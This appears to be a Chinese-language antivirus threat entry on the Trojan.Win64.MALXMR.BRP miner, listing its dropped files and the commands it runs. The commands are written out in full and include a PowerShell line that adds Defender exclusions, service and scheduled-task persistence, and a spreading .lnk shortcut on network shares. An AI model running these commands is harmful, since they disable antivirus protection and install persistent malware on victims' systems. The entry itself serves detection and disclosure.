Trojan.Win64.MALXMR.BRP

N

安装

它植入下列文件：

• %System%\svcldr64.dat
• %System%\console_zero.exe
• %System%\x470764.dat
• {Machine IP Address}\{Network Share Folder}\root\x{Random}.vbs
• {Machine IP Address}\{Network Share Folder}\root\x{Random}.dat
• {Machine IP Address}\{Network Share Folder}\root\rootcomp.dat
• {Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk

(注意: %System% 是 Windows 的 system 文件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

它添加下列进程：

• cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32'"
• cmd.exe /c sc create x470764 binPath= %System%\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x470764\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "%System%\x470764.dat" /f && sc start x470764
• cmd.exe /c start "" "%System%\console_zero.exe"
• cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "%System%\console_zero.exe" /rl HIGHEST /f
• cmd.exe /c timeout /t 16 /nobreak && del /q "%System%\svcldr64.dat"
• cmd.exe /c arp -a
• cmd.exe /c powershell -Command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('\{Machine IP Address}\{Network Share Folder}\{Network Share Folder}.lnk'); $Shortcut.WorkingDirectory = '\{Machine IP Address}\{Network Share Folder}\rootdir'; $Shortcut.TargetPath = '\{Machine IP Address}\{Network Share Folder}\rootdir\x{Random}.vbs'; $Shortcut.IconLocation = '%System%\shell32.dll, 8'; $Shortcut.Save()"
• cmd.exe /c start "" "%System%\crypti.exe"

(注意: %System% 是 Windows 的 system 文件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

其他详细信息

该程序执行以下操作：

• It adds the following service:
  • Name: x470764
  • Start Type: On Logon
  • Binary Path: %System%\console_zero.exe

(注意: %System% 是 Windows 的 system 文件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)